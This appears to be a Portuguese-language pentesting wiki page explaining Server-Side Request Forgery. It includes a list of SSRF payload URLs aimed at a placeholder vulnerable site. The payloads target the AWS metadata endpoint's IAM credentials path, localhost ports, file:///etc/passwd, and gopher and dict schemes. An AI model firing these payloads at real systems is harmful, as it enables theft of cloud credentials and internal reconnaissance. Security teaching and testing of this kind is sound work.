SSRF

O Server-Side Request Forgery (também conhecida como SSRF) é uma vulnerabilidade de segurança da Web que permite que um invasor induza o aplicativo do servidor a fazer solicitações HTTP para um domínio arbitrário de sua escolha.

Em exemplos típicos de SSRF, o invasor pode fazer com que o servidor faça uma conexão de volta para si mesmo ou para outros serviços Web na infraestrutura da organização ou para sistemas externos de terceiros.

Um ataque bem-sucedido do SSRF geralmente pode resultar em ações não autorizadas, no acesso a dados dentro da organização, no próprio aplicativo vulnerável ou em outros sistemas de back-end com os quais o aplicativo pode se comunicar. Em algumas situações, a vulnerabilidade do SSRF pode permitir que um invasor execute a execução arbitrária de comandos.

Uma exploração de SSRF que causa conexões com sistemas externos de terceiros pode resultar em ataques maliciosos que parecem se originar da organização que hospeda o aplicativo vulnerável, levando a possíveis responsabilidades legais e danos à reputação.

Os invasores também podem usar o SSRF para fazer solicitações para outros recursos internos aos quais o servidor da web tem acesso, que não estão disponíveis ao público. Por exemplo, eles podem acessar os metadados da instância do serviço de nuvem, como AWS / Amazon EC2 e OpenStack. Um invasor pode até ser criativo com o SSRF e executar varreduras de portas em IP's internos.

AWS

Ao conseguir realizar um ataque de SSRF e o alvo estiver hospedado em um serviço da Amazon, podemos acessar o endereço IP APIPA 169.254.169.254, que serve acessar recursos internos.

Exemplos

http://sitevuln.com/index.php?url=http://169.254.169.254
http://sitevuln.com/index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
http://sitevuln.com/index.php?url=http://169.254.169.254/latest/meta-data
http://sitevuln.com/index.php?url=http://localhost/server-status
http://sitevuln.com/index.php?url=http://localhost:1234
http://sitevuln.com/index.php?url=http://127.0.0.1:1234
http://sitevuln.com/index.php?url=http://127.0.0.2:1234
http://sitevuln.com/index.php?url=http://0.0.0.0:1234
http://sitevuln.com/index.php?url=file:///etc/passwd
http://sitevuln.com/index.php?url=ftp://localhost
http://sitevuln.com/index.php?url=gopher://localhost

# Utilize quando o aplicativo usar o cURL para fazer solicitações
http://sitevuln.com/index.php?url=dict://localhost:11211/stat

DICA: As vezes podemos pegar banner de sistemas. Por exemplo podemos tentar acessar o SSH via HTTP: http://sitevuln.com/index.php?url=http://localhost:22

Sites

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
https://portswigger.net/web-security/ssrf
https://developers.digitalocean.com/documentation/metadata/

Last updated